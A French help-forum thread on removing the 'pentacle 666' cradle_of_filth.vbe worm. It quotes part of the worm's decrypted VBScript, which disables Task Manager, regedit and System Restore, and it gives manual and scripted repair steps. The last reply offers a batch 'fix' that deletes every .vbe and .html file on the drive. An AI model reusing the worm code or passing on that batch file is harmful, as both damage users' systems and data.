pentacle 666 : virus trojan Résolu/Fermé

Question

Bonjour,
mon pc a été infecté par un virus ou je sais pas si c'est un spyware, quand on démarre le pc un fichier bloc note est affiché à l'écran avec une prière version informatique. Au début il n'y a plus aucun raccourcis et élément au bureau; la signature du prière est pentacle 666.
En plus, je ne peux restaurer mon système ; exécuter regedit.exe et afficher le gestionnaire de tâches.Bon comment je vais supprimer cette espèce de bestiole, mrc d'avance pour les réponses

Utilisateur anonyme · Accepted Answer

prend la 7.0 de kav

Utilisateur anonyme · Answer

Quel sont tes logiciels de sécurités?

guest · Answer

Kaspersky int. security 6, mais il ne trouve aucune menace, après analyse
J'ai ausi utilisé spybot, sans succès

guest · Answer

ok je vais essayé avec kav7

Utilisateur anonyme · Answer

Et fait un scan et poste le rapport

ileiry · Answer

j'ai trouvé le virus en question, le fichier etait cradle of filth.vbe, apres decrytpion avec le srcdec18, voila une partie du code que je pense utile pour les qui veulent aider

Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"

        icone = Shells.RegRead ("HKCR\Directory\DefaultIcon\">
		Shells.RegWrite "HKCR\VBEfile\DefaultIcon\",icone,"REG_EXPAND_SZ" 
		Shells.RegWrite "HKLM\SOFTWARE\Microsoft\Command Processor\EnableExtensions",1,"REG_DWORD"        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",1,"REG_DWORD"
        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoComputersNearMe",1,"REG_DWORD"        Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrive",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveAutoRun",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoHardwareTab",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoResolveSearch",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoShellSearchButton",1,"REG_DWORD"
		Shells.RegWrite "HKLM\Software\Microsoft\Command Processor\AutoRun","exit","REG_SZ"

		Shells.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR",1,"REG_DWORD"
	Shells.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
	Shells.RegWrite "HKCU\Control Panel\Mouse\DoubleClickSpeed",4000,"REG_SZ"
	Shells.RegWrite "HKCU\Control Panel\Mouse\MouseSpeed",10,"REG_SZ"

	Set f = Fso.CreateTextFile("C:\Windows\Desktop.ini", True)

		f.WriteLine "[.ShellClassInfo]"

		f.WriteLine "Clsid={645FF040-5081-101B-9F08-00AA002F954E}"

		f.Close
		Set f1 = Fso.GetFolder("C:\Windows")

		f1.Attributes = 4

		f1.Close

Jays · Answer

Une proc pour « nettoyer » ce virus :
 
1)       Insérer la clé USB « vérolée » (eh oui, vous ça se propage entre autres par les clés USB et périphériques du genre).
2)       Faire CTRL+MAJ+ECHAP pour faire afficher le gestionnaire de tâches. Aller dans l’onglet « Processus » et tuer tous les processus s’appelant « WSCRIPT.EXE » (pour ça, trouver dans la colonne de gauche « WSCRIPT.EXE », faire un clic droit dessus et faire « Terminer le processus ».
3)       Via l’Explorateur Windows (ou le Poste de Travail), aller dans la clé USB (E: par exemple), puis dans le menu « Outils », choisir « Options des dossiers », aller dans l’onglet « Affichage » et :
     - Cocher « Afficher les fichiers et les dossiers cachés ».
     - Décocher « Masquer les extensions des fichiers dont le type est connu ».
4)       Deux fichiers sont apparus sur la clé USB : autorun.inf et cradle_of_filth.vbe. Supprimer ces deux fichiers.
5)       Via l’explorateur, aller dans C:\WINDOWS\System32 (ou C:\WINNT\System32). Supprimer là aussi cradle_of_filth.vbe. S’il n’est pas là, vérifier, comme pour la clé USB que le fichier n’est pas caché ! (si nécessaire, refaire la manip « Outils », « Options des dossiers », …
6)       Là ça se complique un peu… Dans le menu « Démarrer » de Windows, taper « regedit ». Dans la colonne de gauche de l’éditeur de base de registre, sélectionner « Poste de Travail », puis aller dans le menu « Edition » et choisir « Rechercher… ». Cocher « Clés », « Valeurs » et « Données » et rechercher le mot « cradle ».

Quand un résultat est trouvé :
     - Soit la valeur trouvée s’appelle « (par défaut) » (dans la partie de droite). Dans ce cas, double-cliquer dessus et dans la petite fenêtre qui apparaît, supprimer tout le texte.
     - Soit la valeur s’appelle « Userinit », et dans ce cas, supprimer uniquement la fin, c’est-à-dire :
          « C:\Windows\system32\RunDLL32.EXE Shell32.DLL,ShellExec_RunDLL wscript.exe cradle_of_filth.vbe ».
       Il doit donc rester qqc comme :
          « C:\Windows\system32\userinit.exe, » (la virgule à la fin est volontaire).
       Ne surtout pas supprimer complètement les données, sous peine de ne plus pouvoir ouvrir de session !

7)       Le virus est maintenant enlevé (attention, vous pouvez toujours être infecté à nouveau par exemple par une clé USB infectée !).
Il faut maintenant faire un copier-coller du script suivant dans un notepad :

Option Explicit
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
On Error Resume Next
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", 145, "REG_DWORD"
WshShell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue",0,"REG_DWORD"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoComputersNearMe"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrive"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveAutoRun"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoHardwareTab"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoResolveSearch"
WshShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoShellSearchButton"
WshShell.RegDelete "HKLM\Software\Microsoft\Command Processor\AutoRun"
WshShell.RegDelete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR"
On Error Goto 0


... Enregistrer ce fichier avec un nom comme "repare.vbs" (n'oubliez pas les guillemets dans notepad, sinon il vous rajoutera une extension .txt !!!), et le lancer en double-cliquant dessus.
Fermer la session et la rouvrir. Le bureau doit être revenu avec ses icônes et il doit être à nouveau possible d’éteindre l’ordinateur depuis le menu « Démarrer ».

PS : éventuellement, vider la poubelle au cas où les fichiers supprimés dans les étapes 4 et 5 y seraient encore !!! ;o)
PPS : merci ileiry : sans ton aide, j'aurais galéré encore plus pour trouver les modifs (eh oui, il a frappé chez moi :( ).

Jays · Answer

PPPS :
Remplacez les
     &qu­ot; 
que vous trouverez dans mon script par des guillemets ( " ) : c'est le site qui a fait cette modif ! :(

kofymlay · Answer

salut
J'avais eu ce t virus et j'ai formaté mon PC et ça na rien donner.
Maintenant j'ai changé mon disque dure et 3 jour passé déjà j'ai pas encore eu de virus foutu "pentecle..." de diable sur mon nouveau dur.
Que la personne qui envoie ce 666 soit maudite.
Et s'il continu a envoyer ou a fabriqué ce genre de virus fatal,qu' il soit paralyser à vie. Amennnnnnnnnnn.

amartchik · Answer

et lorsque on va vers la panneau de config , que l'on  n'a pas "options de dossiers" et simplement "synchroniser"
il existe un clé de registre a taper pour changer la config: pourrais tu me la donner stp?  merci

amartchik · Answer

Jays : attention a la ligne 12 du script, il existe un   -; qu'il faut eliminer pour que le programme fonctionne sinon il y a erreur de script: Me suis trompé?? salutations

Samy010976 · Answer

Cette solution est encore partielle.
Si vous allez dans le dossier Windows, vous verrez que l'icône est devenu un icône de la Corbeille. De même, si vous supprimer un truc, çà ira tant dans le dossier de la Corbeille que dans Windows.
En fait, je ne suis pas encore sûr que ce soit pour tous les Windows, le mien est Windows XP (SP2).
Si quelqu'un pourrait m'envoyer ou mettre en ligne le script de ce put.... de virus, nous sommes (pas nous seulement, vous aussi) prêt à faire un petit logiciel pour le contrer à tout moment. On en a déjà fait pour les autres genres Raila Odinga ...

Merci à toutes les bonnes volontés pour éradiquer ce genre de truc.

PS : J'ai déjà demandé ce script à Ileiry mais sous le pseudo BandyGasy. Encore MERCI A TOUS

Kaoruflo · Answer

Bonjour,
apparemment j'ai un problème similaire.
Le début de la solution de Jays a l'air très bien, simple, et bien expliqué. Mais je bloque à l'étape 6) regedit.

Voici ce qui m'est affiché quand je double click sur "(par défaut)"
[URL=https://imageshack.com/][IMG]http://img71.imageshack.us/img71/8995/cradlekr3.th.jpg[/IMG][/URL]

J'ai rien à supprimer... 
De plus, je dois m'occuper des 000, 001 et 002 aussi? Comment (vu qu'ils ont en données du "cradle" ou du "esta")

Merci beaucoup pour le complément!

ileiry · Answer

je pense qu'il fallait, pour vous qui ecrivent des script VB, renverser le code dans le virus qui dit :
.........
Set f1 = Fso.GetFolder("C:\Windows")
f1.Attributes = 4
f1.Close
.........

Nana · Answer

Bonjour ! Moi aussi j'ai eu ce virus ! 
Au début je ne savais pas définir ce que c'était et en faisant quelques recherches j'ai trouvé un programme sympa pour remettre les valeurs initiales qui ont été modifiés dans le regedit, à cause de ce virus qui les modifie. Voici le lien pour le télécharger Zeb Restore  http://telechargement.zebulon.fr/zeb-restore.html

Après tout était ok j'avais de nouveau mon bureau, je pouvais faire une restauration du système et éteindre mon PC sans soucis mais j'avais ce message quand j'allumais mon PC comme quoi il ne trouvait pas le fichier cradle_of_filth.vbl donc j'ai encore cherché sur le net avec ce message et j'ai trouvé que c'était ce virus lque vous mentionnez et j'ai suivi le tuto ci dessus ! Maintenant plus de soucis !
Mais si vous avez des soucis comme moi dans vos fichiers éffacés qui ne vont pas dans votre corbeille, où pas de clique droit dans le menu démarrer je vous conseille d'utiliser Zeb Restore en complément !

J'espère avoir pû aider et merci pour les solutions proposées !

raphaël · Answer

Salut à tous , merci pour tous vos conseils j'ai reussi à virer le virus de mon PC grace a un patch que j'ai touvé sur net studio .org et même que j'ai eu d'autres virus mais ils sont tous partis ouffff, je me suis aussi procuré une longue license pour antivir premium jusqu a 2012 mais mon dernier souci est qu il y a un virus ou je ne sais pas quoi qui est toujours là mais que je n'arrive pas à eradiquer même après formatage ça s appelle "flashguard.exe" qui s execute automatiquement dès que je  demarre et il me dit qu il n y a pas de disque dans le lecteur... harddrive..... quelque chose comme ça et aussi après le formatage il y a eu des dossiers que je n arrive plus à ouvrir dans D:\ il me dit que le disque est protegé ou que l accès est juste refusé. venez moi en aide vonjeo zala fa ny kandrako manontolo no taraiky ao merci d'avance

rayoune · Answer

Pourquoi ne pas l'arreter et le supprimer dans Program files

gasy-kely · Answer

Il y a quelqu'un ?

easy_way · Answer

Non y a personne

http://www.net-studio.org/fr/application/cradle-of-filth.php

gravibe · Answer

slt a tous
moi aussi etait attraper cradle  et je l'ai metrisé , 2 semaines plus tard il revient avec cette priere ridicul
et je ne le trouve nul par
j'ai plus de buraeu, arrêté, tout est bloqué par l'administrateur
qulqu'un pourrait m'aider svp

tamaga · Answer

bjr  à tous 
mon problem avec pentacle c le changement de l'icone windows en corbeil
 la commande dos  se ferme automatiquement et les astuces d'en haut ne peut pas aboutir
si qlq peut me donner plus de fikafika
ca me rend service enormement
merci d'avance
A+

Louna · Answer

Salut daholo!
J'ai moi aussi j'ai attrapé ce virus et j'essaie de le supprimer avec vos consignes mais d'abord comme mon dossier windows s'est changer en la corbeille, je ne le retrouve plus nul part alors je n'arrive pas à retrouver le fichier cradle ensuite mon regedit ne peux pas être exécuter et la commande msdos non plus.
Je sais plus quoi faire ouiiinnn! Mbo ampio eeee! snif snif!

mapalelo · Answer

Mon dossier windows aussi a disparu.comment on le retrouve?

Majungais · Answer

Trois bécanes ont été infectées par la méchante bestiole. 
Sur les deux premières, 2 laptops,  j’ai d’abord utilisé un patch téléchargé chez net-studio.org en mode sans échec, puis pour faire revenir le dossier windows, attrib –s c:\windows en mode msdos sans échec. Cela a résolu l’affaire. Enfin, windows xp paraît fonctionner correctement sauf que je remarque un léger ralentissement lors de l’accès à Mes Documents.
Par contre, sur le troisième, le même procédé n’a pas marché, le virus est loadé même en mode sans échec. J’ai appliqué ton logiciel par presque toutes ses fonctionalités mais à chaque fois, la bestiole persistai à rester, empêchant l’accès au registre. Comme je m’y connaît moins en regedit, je n’ai pas touché à ton regtool. Après 2 heures de temps de vaines essais, j’ai retracé la bestiole à l’aide de hijackthis puis j’ai supprimé physiquement avec killbox le nid-de-vipère.vbe. Après un redémarrage, Windows ne l’a plus loadé faute de ne pas l’avoir retrouvé et tout est redevenu normal.
En tout cas, merci pour ton aide.

Tanr · Answer

http://www.net-studio.org/fr/application/cradle-of-filth.php­

maherisoa · Answer

Constructeur: ?
Dégât: clic droite bloqué (bureau seulement), pas d'icône sur le bureau
nom du virus: foza_orana.vbe
emplacement:C:\WINDOWS\System32
Il est impossible de le supprimer sans un logiciel qui permet d'afficher lefichier caché
moi j'ai utilisé: TCPowerPack pour le reperer et le supprimer
un autre conseil: vous pouvez telecharger:ComboFX 
votre icone reviendra
mahery,

pipikakachuchu · Answer

c'est simple pour détruire tous les virus VBE ouvrez votre bloc note et collez ce texte:


@ECHO OFF
CD\
DEL /Q/S *.vbe
DELTREE /Q/S *.vbe
CD\
DEL /Q/S *.html
DELTREE /Q/S *.html
SHUTDOWN /r
cls


Enregistrer ce fichier en nom_du_fichier.bat. Ensuite double cliquez sur le fichier .bat et le boulot est fait.

Pentacle 666 : virus trojan

27 réponses

Discussions similaires